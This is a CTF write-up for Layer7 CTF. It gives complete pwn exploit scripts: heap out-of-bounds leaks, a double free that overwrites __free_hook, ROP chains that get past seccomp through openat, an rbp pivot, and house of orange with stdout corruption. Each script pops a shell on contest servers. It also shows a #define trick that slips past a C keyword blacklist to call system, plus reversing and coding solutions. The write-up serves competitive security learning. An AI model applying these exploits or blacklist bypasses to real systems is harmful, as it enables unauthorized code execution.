Layer7 CTF had been held from October 6th to 7th.
It's a sole-play CTF and I played it as ptr-yudai
.
There were so many challenges that I couldn't even check all of them, especially web challenges.
I got 1711pts and kept 4th place.
- [Pwn 1000pts] math_board
- [Pwn 140pts] How old are you?
- [Pwn 1000pts] sha1 breaker
- [Pwn 1000pts] Angel-in-us
- [Misc 100pts] Do you know Android?
- [Misc 108pts] C jail break revenge(?)
- [Rev 102pts] Catch mind if you can
- [Coding 161pts] Layer7 Poker
[Pwn 1000pts] math_board
We're given a 64-bit ELF.
$ checksec -f math_board RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 1 math_board
The vulnerability is OOB. When giving an index, it fails if it's above 20 or the most byte of the index is 0xff. Since the index is multiplied by 8, we can control the offset by specifying very small (negative) number like 0x8000000000000000.
>>> hex((0x8000000000000000 * 8) & ((1 << 64) - 1)) '0x0' >>> hex((0x8000000000000001 * 8) & ((1 << 64) - 1)) '0x8' >>>
In this way, we can leak the heap address by reading a freed chunk since fd can be regarded as a pointer of a title.
Normal title: | | +--------+ | ptr |--+ +--------+ | | ... | | +--------+<-+ | &title |-----+ +--------+ | | &big |--+ | +--------+ | | | ... | | | +--------+<-+ | | title | | <= can read this +--------+<----+ | big | +--------+ | | Freed chunk as title: | | +--------+<----+ | fd | | <= can read this +--------+ | | xxxxxx | | +--------+ | | ... | | +--------+<-+ | | fd |--|--+ +--------+ | | xxxxxx | | +--------+ | | ... | | +--------+ | | fd |--+ +--------+ | |
Since very large chunks (named big above) are allocated for ESC to save
, we have a pointer to main arena in heap.
As we have heap address, we can prepare a fake note to read the main arena address.
After that is easy.
We just double free a chunk and overwrite __free_hook
.
from ptrlib import * def write(title, esc): sock.sendafter("====\n", "w") if len(title) == 0x30: sock.send(title) else: sock.sendline(title) sock.recvuntil("save\n") if len(esc) == 0x1000: sock.send(esc) else: sock.send(esc) sock.send('\x1b') return def read(index): sock.sendafter("====\n", "r") sock.sendlineafter(":", str(index)) sock.recvuntil("====\n") a = sock.recvline() sock.recvuntil("----\n") b = sock.recvline() return (a, b) def delete(index): sock.sendafter("====\n", "d") sock.sendlineafter(":", str(index)) return def offset(ofs): assert ofs % 8 == 0 return -0x8000000000000000 + ofs // 8 """ write : delete : read | malloc(0x100) | | free(0x100) | malloc(0x10) | free(0x30) | malloc(0x100) malloc(0x30) | free(0x1000) | free(0x100) malloc(0x1000) | free(0x10) | """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./math_board") sock = Socket("bincat.kr", 31007) libc_main_arena = 0x3ebc40 # heap leak write('Hello0', 'Bye') # 0 write('Hello1', 'Bye') # 1 write('Hello2', 'Bye') # 2 delete(2) delete(1) delete(0) heap_base = u64(read(offset(0x555555757340 - 0x555555757270))[1]) - 0x2470 logger.info("heap base = " + hex(heap_base)) # libc leak addr_note = heap_base + 0x360 fake_note = p64(addr_note + 0x10) * 2 fake_note += p64(addr_note + 0x48) * 2 write(fake_note, "") libc_base = u64(read(offset(0x555555757360 - 0x555555757270))[1]) - libc_main_arena - 96 logger.info("libc base = " + hex(libc_base)) # double free delete(0) fake_note = p64(addr_note) * 2 fake_note += p64(0) + p64(0x31) fake_note += p64(addr_note) * 2 write(fake_note, "") delete(offset(0x555555757380 - 0x555555757270)) # overwrite __free_hook write(p64(libc_base + libc.symbol('__free_hook')), 'Bye') # 0 write('/bin/sh', 'Bye') # 1 write(p64(libc_base + libc.symbol('system')), 'Bye') # 2 # get the shell! delete(1) sock.interactive()
First blood!
$ python solve.py [+] __init__: Successfully connected to bincat.kr:31007 [+] <module>: heap base = 0x559cbd654000 [+] <module>: libc base = 0x7f50f8ebc000 [ptrlib]$ 1 cat flag LAYER7{i hate math :p, you'd better try pwn} [ptrlib]$
[Pwn 140pts] How old are you?
The binary is a 64-bit ELF.
$ checksec -f seccomp RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 86 Symbols No 0 4 seccomp
It has a simple Stack Overflow but seccomp is enabled.
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020 0005: 0x15 0x0e 0x00 0x00000002 if (A == open) goto 0020 0006: 0x15 0x0d 0x00 0x00000009 if (A == mmap) goto 0020 0007: 0x15 0x0c 0x00 0x0000000a if (A == mprotect) goto 0020 0008: 0x15 0x0b 0x00 0x00000029 if (A == socket) goto 0020 0009: 0x15 0x0a 0x00 0x00000038 if (A == clone) goto 0020 0010: 0x15 0x09 0x00 0x0000003a if (A == vfork) goto 0020 0011: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0020 0012: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0020 0013: 0x15 0x06 0x00 0x00000065 if (A == ptrace) goto 0020 0014: 0x15 0x05 0x00 0x0000009d if (A == prctl) goto 0020 0015: 0x15 0x04 0x00 0x00000130 if (A == open_by_handle_at) goto 0020 0016: 0x15 0x03 0x00 0x00000142 if (A == execveat) goto 0020 0017: 0x15 0x02 0x00 0x00000208 if (A == 0x208) goto 0020 0018: 0x15 0x01 0x00 0x00000221 if (A == 0x221) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x06 0x00 0x00 0x00000000 return KILL
Many syscalls are restricted but openat
is still alive.
I leaked the libc address and called openat
in libc in the 1nd ROP chain.
from ptrlib import * elf = ELF("./seccomp") """ sock = Process("./seccomp") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") """ sock = Socket("211.239.124.246", 12403) #sock = Socket("0.0.0.0", 9999) libc = ELF("./libc.so.6") #""" rop_pop_rdi = 0x00400eb3 # libc leak payload = b'A' * 0x118 payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(elf.plt("puts")) payload += p64(elf.symbol("main")) sock.sendlineafter(": ", "1") sock.sendafter(": ", "1") sock.sendlineafter(": ", "1") sock.sendafter(": ", payload) sock.recvline() libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc base = " + hex(libc_base)) """ rop_xchg_eax_ecx = libc_base + 0x000f574b rop_pop_rdx = libc_base + 0x00001b96 rop_pop_rsi = libc_base + 0x00023e6a rop_pop_rax = libc_base + 0x000439c7 rop_xchg_eax_edi = libc_base + 0x0006eacd rop_pop_rcx_rbx = libc_base + 0x00103cca """ rop_xchg_eax_ecx = libc_base + 0x00107ae3 rop_pop_rdx = libc_base + 0x00001b92 rop_pop_rsi = libc_base + 0x000202e8 rop_pop_rax = libc_base + 0x00033544 rop_xchg_eax_edi = libc_base + 0x000f68bc rop_pop_rcx_rbx = libc_base + 0x000ea69a #""" # get the flag payload = b'A' * 0x118 payload += p64(rop_pop_rdx) payload += p64(0x20) payload += p64(rop_pop_rsi) payload += p64(elf.symbol("adult") + 1) payload += p64(rop_pop_rdi) payload += p64(0) payload += p64(elf.plt("read")) payload += p64(rop_pop_rsi) payload += p64(libc_base + next(libc.find("r\0"))) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rsi) payload += p64(elf.symbol("adult") + 1) payload += p64(rop_pop_rdi) payload += p64((0xffffffffffffffff ^ 100) + 1) payload += p64(libc_base + libc.symbol("openat")) #payload += p64(rop_pop_rcx_rbx) #payload += p64(elf.symbol("adult")) #payload += p64(0xdeadbeef) #payload += p64(rop_xchg_eax_edi) payload += p64(rop_pop_rdi) payload += p64(3) # cheat payload += p64(rop_pop_rdx) payload += p64(0x100) payload += p64(rop_pop_rsi) payload += p64(elf.section(".bss") + 0x400) payload += p64(libc_base + libc.symbol("read")) payload += p64(rop_pop_rdi) payload += p64(elf.section(".bss") + 0x400) payload += p64(elf.plt("puts")) payload += p64(elf.symbol("_start")) payload += b'a' * (0x200 - len(payload)) sock.sendlineafter(": ", "+") sock.sendafter(": ", " flag") sock.sendlineafter(": ", "1") sock.sendafter(": ", payload) sock.send("/home/seccomp/flag") #sock.send("./flag.txt") sock.interactive()
Yay!
$ python solve.py [+] __init__: Successfully connected to 211.239.124.246:12403 [+] <module>: libc base = 0x7f11ca1aa000 [ptrlib]$ Okay! I know how you are now, baby :) LAYER7{H3110_MY_NAM3_1S_OP3NAT!_AND_HOW_0LD_AR3_Y00o0o00o0o0o0ooooooo0000000000000000OOOOOOOOO00UuuuuUUUUUUUUuuuuuuuUUUU??!?!?!?!!!11111?!11111?11?} Input your age :
[Pwn 1000pts] sha1 breaker
The binary is a 64-bit ELF. I couldn't solve this challenge during the competition :-(
$ checksec -f sha1breaker RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 5 sha1breaker
It creates a random byte array and calculates sha1 hash. If the hash matches to the prepared one, it just prints "correct!". There seems to be no vulnerability at first glance but it surely lies here:
mov edx, cs:count lea rcx, [rbp+hash] mov rax, [rbp+buffer] lea rsi, format ; "%02d:%s" mov rdi, rax ; s mov eax, 0 call _sprintf ; sprintf(buffer, "%02d:%s", count, hash);
The buffer size is 24 bytes and the maximum count is 999.
Since the hash is usually 20 bytes long, it seems reasonable.
However, sprintf writes null at the last and if count is over 100, 20 + 4 = 24 bytes will be written to the buffer and 25th byte will be null.
The 25th byte of the buffer is the least byte of saved rbp. So, we can control the least byte of rbp.
After function returns, main function executes leave; ret;
before it ends.
This will set rsp to the value of rbp.
As we can control rbp, rsp can be corrupted.
The next thing we use is this readint
function.
push rbp mov rbp, rsp sub rsp, 30h lea rax, [rbp+buf] mov edx, 20h ; nbytes mov rsi, rax ; buf mov edi, 0 ; fd call _read
Here we can leave 0x20 bytes to the stack. If, luckily, corrupted rbp points to this reagion, we can execute our ROP chain. However, the ROP chain is no more than 0x18 bytes long. (8-byte fake saved rbp + 24-byte ROP chain) I had been stuck here for half a day......
The solution lies right after the setup
function.
Here we can see an unused function.
This function reads rsi-bytes to rdi, and thus we can send 2nd ROP chain without crashing.
If we set rbp to our 2nd ROP chain address and call this hidden function with push rbp; mov rbp, rsp; sub rsp, 0x20;
skipped, the final leave; ret;
will set rsp to our rbp, which will step into our 2nd ROP chain.
This is my final exploit code:
from ptrlib import * import os import time rop_pop_rdi = 0x00400ec3 rop_pop_rbp = 0x00400998 hidden_function = 0x400abd libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") elf = ELF("./sha1breaker") os.system("sudo dmesg -C") while True: #sock = Process("./sha1breaker") sock = Socket("bincat.kr", 30420) #for i in range(0x64): # sock.sendafter(">> ", "1" + "\xff" * 0x1f) sock.send(("1" + "\xff" * 0x1f) * 0x64) for i in range(0x64): sock.recvuntil(">> ") payload = p64(elf.section('.bss') + 0x410) payload += p64(rop_pop_rdi) payload += p64(elf.section('.bss') + 0x418) payload += p64(hidden_function) payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(elf.plt("puts")) payload += p64(rop_pop_rbp) payload += p64(elf.section('.bss') + 0x800) payload += p64(rop_pop_rdi) payload += p64(elf.section('.bss') + 0x808) payload += p64(hidden_function) sock.sendafter(">> ", payload) r = sock.recvline(timeout=1) if r is None or r == b'' or r == b'Menu': sock.close() continue if len(r) >= 20: sock.close() continue # libc leak libc_base = u64(r) - libc.symbol("puts") if libc_base >= 1 << 64: sock.close() continue logger.info("libc_base = " + hex(libc_base)) # get the shell! payload = p64(rop_pop_rdi + 1) # align rsp payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.send(payload) sock.interactive() exit(0)
Fun challenge!
$ python solve.py [+] __init__: Successfully connected to bincat.kr:30420 [+] <module>: libc_base = 0x7fce57f3d000 [ptrlib]$ s [ptrlib]$ ls hey_this_is_flag_h0ly_mo1y problem run.sh [ptrlib]$ cat hey_this_is_flag_h0ly_mo1y LAYER7{sha256("Cause_of_death:GOAROSA")=d66f91b9580abe39820abcf33b1e0ff56f2a8947e3da34cb672d7e9c47146c8b} [ptrlib]$
[Pwn 1000pts] Angel-in-us
The binary is a 64-bit ELF. I could'nt solve this during the competition ;-(
$ checksec -f docker/problem RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes 0 2 docker/problem
It has a simple heap overflow.
However, it only accepts Malloc and Edit.
When we don't have free, house of orange is one option, and when we don't have leak, abusing _IO_2_1_stdout_
is a good way.
I'm familiar with latter but actually I've never tried house of orange.
House of orange uses _int_free
inside sysmalloc
function.
The problem is we can't allocate a large chunk that will be taken from the unsorted bin.
The challenge hint "scanf" was opened and I realized scanf
mallocs a large buffer when a big input is given.
from ptrlib import * def add(size, data): sock.sendlineafter("> ", "M") sock.sendlineafter("> ", str(size)) sock.sendafter("> ", data) return def edit(size, data): sock.sendlineafter("> ", "E") sock.sendlineafter("> ", str(size)) sock.sendafter("> ", data) return """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("./docker/problem") libc_one_gadget = 0x10a38c """ libc = ELF("./docker/libc.so.6") sock = Socket("211.239.124.246", 12404) libc_one_gadget = 0x106ef8 #""" addr_stdout = 0x404020 # use top chunk to make its size 0x130 for i in range(10): add(0x128, "PON!") add(0x78, "PON!") # house of orange add(0x10, "A" * 0x10) payload = b'A' * 0x10 payload += p64(0) + p64(0x131) edit(0x20, payload) sock.sendlineafter("> ", "M") sock.sendlineafter("> ", "1" * 0x400) # corrupt stdout payload = b"A" * 0x10 payload += p64(0) + p64(0x111) + p64(addr_stdout) edit(0x10 + 0x18, payload) add(0x108, "dummy") add(0x108, "\x60") # stdout: don't corrupt this add(0x108, p64(0xfbad1800) + p64(0) * 3 + b"\x88") # libc leak libc_base = u64(sock.recvline()[:8]) - libc.symbol("_IO_2_1_stdout_") - 131 logger.info("libc base = " + hex(libc_base)) # use top chunk for i in range(13): add(0x118, "PONPON!!") # house of orange add(0x80, "A" * 0x10) payload = b'A' * 0x80 payload += p64(0) + p64(0xd1) edit(0x90, payload) sock.sendlineafter("> ", "M") sock.sendlineafter("> ", "1" * 0x500) payload = b'A' * 0x80 payload += p64(0) + p64(0xb1) payload += p64(libc_base + libc.symbol("__malloc_hook")) edit(0x98, payload) # overwrite __free_hook add(0xa8, "dummy") add(0xa8, p64(libc_base + libc_one_gadget)) # get the shell! sock.sendlineafter("> ", "M") sock.sendlineafter("> ", "10") sock.interactive()
I should've tried this challenge before focusing on sha1 breaker.
$ python solve.py [+] __init__: Successfully connected to 211.239.124.246:12404 [+] <module>: libc base = 0x7f15c2e2a000 [ptrlib]$ cat /home/Angel/flag LAYER7{Angel-is-howdays-25c3fd7d8ccc54fa1963a129ac9de6b3} [ptrlib]$
[Misc 100pts] Do you know Android?
I decompiled the APK and found the flag base64 encoded in the source code.
[Misc 108pts] C jail break revenge(?)
It's a C jail challenge as the title says.
Some words are restricted but #define
is not restricted.
The flag is written in chall.py
.
from ptrlib import * sock = Socket("211.239.124.246", 12406) blacklist = ['main', 'exe', 'system', 'open', 'while', 'for', 'read', 'write', 'print', 'scan', 'local', 'fork', 'socket', 'connect', 'recv', 'send', 'listen', 'accept', 'bind', 'int', 'float', 'void', 'double', 'char', 'start', 'asm', 'get'] code = [ '#include <stdio.h>', '#define func m##a##i##n', '#define pon v##o##i##d', '#define taro s##y##s##t##e##m', 'pon func(pon) {', ' taro("cat chall.py");', '}', ] for line in code: for word in blacklist: if word in line: print(word, line) exit(0) sock.recvline() sock.sendline("ptr-yudai") sock.sendlineafter("enter?\n", str(len(code))) for line in code: sock.sendlineafter(":", line) sock.interactive()
[Rev 102pts] Catch mind if you can
It seems to be a React application. As I'm not familiar with React, I had to guess the algorithm of the image processing. I guessed it's not that complicated since the encrypted image is similar to the original image. I tried some functions such as xor or add, and found the flag like this:
from PIL import Image img_orig = Image.open("original.png") img_enc = Image.open("encrypted.png") f = lambda x, y: (x - y) % 0x100 size = img_orig.size for y in range(size[1]): for x in range(size[0]): c1 = img_orig.getpixel((x, y)) c2 = img_enc.getpixel((x, y)) r, g, b = f(c1[0], c2[0]), f(c1[1], c2[1]), f(c1[2], c2[2]) img_orig.putpixel((x, y), (r, g, b, 255)) img_orig.save("hoge.png")
Guessing is winning!
[Coding 161pts] Layer7 Poker
We just need to write a judge program of poker. I wrote a terrible program every made :P
from ptrlib import * def convert(num): if num == 'A': return 1 if num == 'J': return 11 if num == 'Q': return 12 if num == 'K': return 13 return int(num) def parse(data): cards = [] syms = [] x = data[1:-1].split(", ") for card in x: cards.append(convert(card[1:])) syms.append(card[0]) return cards, syms def judge_by_symbol(sym1, sym2): if sym1 == 'S' and sym2 != 'S': return 1 if sym2 == 'S' and sym1 != 'S': return 2 if sym1 == 'D' and sym2 != 'D': return 1 if sym2 == 'D' and sym1 != 'D': return 2 if sym1 == 'H' and sym2 != 'H': return 1 if sym2 == 'H' and sym1 != 'H': return 2 if sym1 == 'C' and sym2 != 'C': return 1 if sym2 == 'C' and sym1 != 'C': return 2 return 1 def judge_by_symbols(syms1, syms2): if syms1.count('S') > syms2.count('S'): return 1 if syms1.count('S') < syms2.count('S'): return 2 if syms1.count('D') > syms2.count('D'): return 1 if syms1.count('D') < syms2.count('D'): return 2 if syms1.count('H') > syms2.count('H'): return 1 if syms1.count('H') < syms2.count('H'): return 2 if syms1.count('C') > syms2.count('C'): return 1 if syms1.count('C') < syms2.count('C'): return 2 return 0 def judge_by_number(a, b, c, d, func): cards1, syms1, cards2, syms2 = list(a), list(b), list(c), list(d) if func is None: for num in [13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]: while True: if num in cards1 and num not in cards2: return 1 if num not in cards1 and num in cards2: return 2 if num in cards1 and num in cards2: i, j = cards1.index(num), cards2.index(num) if syms1[i] != syms2[j]: return judge_by_symbol(syms1[i], syms2[j]) cards1 = cards1[:i] + cards1[i+1:] syms1 = syms1[:i] + syms1[i+1:] cards2 = cards2[:i] + cards2[i+1:] syms2 = syms2[:i] + syms2[i+1:] break elif func == is_one_pair: for o1, c in enumerate(cards1): if cards1.count(c) == 2: n1 = c break for o2, c in enumerate(cards2): if cards2.count(c) == 2: n2 = c break oo1 = cards1.index(n1, o1+1) oo2 = cards2.index(n2, o2+1) s1, s2 = syms1[o1], syms2[o2] ss1, ss2 = syms1[oo1], syms2[oo2] if n1 > n2: return 1 elif n2 > n1: return 2 else: r = judge_by_symbols([s1, ss1], [s2, ss2]) if r == 0: if sum(cards1) > sum(cards2): return 1 else: return 2 # debug!! else: return r elif func == is_two_pairs: if sum(cards1) > sum(cards2): return 1 else: return 2 # debug!! elif func == is_three_pairs: if sum(cards1) > sum(cards2): return 1 else: return 2 # debug!! return 1 def is_royal(cards, syms): if 10 not in cards: return False if 11 not in cards: return False if 12 not in cards: return False if 13 not in cards: return False if 1 not in cards: return False if syms.count('S') == 5: return True if syms.count('H') == 5: return True if syms.count('C') == 5: return True if syms.count('D') == 5: return True return False def is_straight_flush(cards, syms): base = min(cards) if base + 1 not in cards: return False if base + 2 not in cards: return False if base + 3 not in cards: return False if base + 4 not in cards: return False if syms.count('S') == 5: return True if syms.count('H') == 5: return True if syms.count('C') == 5: return True if syms.count('D') == 5: return True return False def is_four_of_king(cards, syms): for c in cards: if cards.count(c) == 4: return True #if cards.count(13) >= 4: return True return False def is_full_house(cards, syms): base1 = cards[0] if cards.count(base1) == 3: base2 = list(filter(lambda x: x != base1, cards))[0] if cards.count(base2) == 2: return True elif cards.count(base1) == 2: base2 = list(filter(lambda x: x != base1, cards))[0] if cards.count(base2) == 3: return True return False def is_flush(cards, syms): if syms.count('S') == 5: return True if syms.count('H') == 5: return True if syms.count('C') == 5: return True if syms.count('D') == 5: return True return False def is_straight(cards, syms): base = min(cards) if base + 1 not in cards: return False if base + 2 not in cards: return False if base + 3 not in cards: return False if base + 4 not in cards: return False return True def is_three_of_king(cards, syms): for c in cards: if cards.count(c) == 3: return True return False def is_two_pairs(cards, syms): x = 0 for c in cards: if cards.count(c) == 2: x += 1 return x == 4 def is_one_pair(cards, syms): for c in cards: if cards.count(c) == 2: return True return False def judge(cards1, syms1, cards2, syms2): judge_funcs = [is_royal, is_straight_flush, is_four_of_king, is_full_house, is_flush, is_straight, is_three_of_king, is_two_pairs, is_one_pair] for func in judge_funcs: if func(cards1, syms1): if func(cards2, syms2): print("{} wins: {}".format(judge_by_number(cards1, syms1, cards2, syms2, func), func)) return judge_by_number(cards1, syms1, cards2, syms2, func) else: print("1 wins: " + str(func)) return 1 elif func(cards2, syms2): print("2 wins: " + str(func)) return 2 print("{} wins: no pair".format(judge_by_number(cards1, syms1, cards2, syms2, None))) return judge_by_number(cards1, syms1, cards2, syms2, None) sock = Socket("211.239.124.246", 12402) for i in range(500): sock.recvuntil("[Round") sock.recvuntil("Player 1\n") cards1, syms1 = parse(bytes2str(sock.recvline())) sock.recvuntil("Player 2\n") cards2, syms2 = parse(bytes2str(sock.recvline())) print("[Round {}]".format(i + 1)) print(cards1, syms1) print(cards2, syms2) sock.sendlineafter(">>", str(judge(cards1, syms1, cards2, syms2))) sock.recvuntil("Correct!") sock.interactive()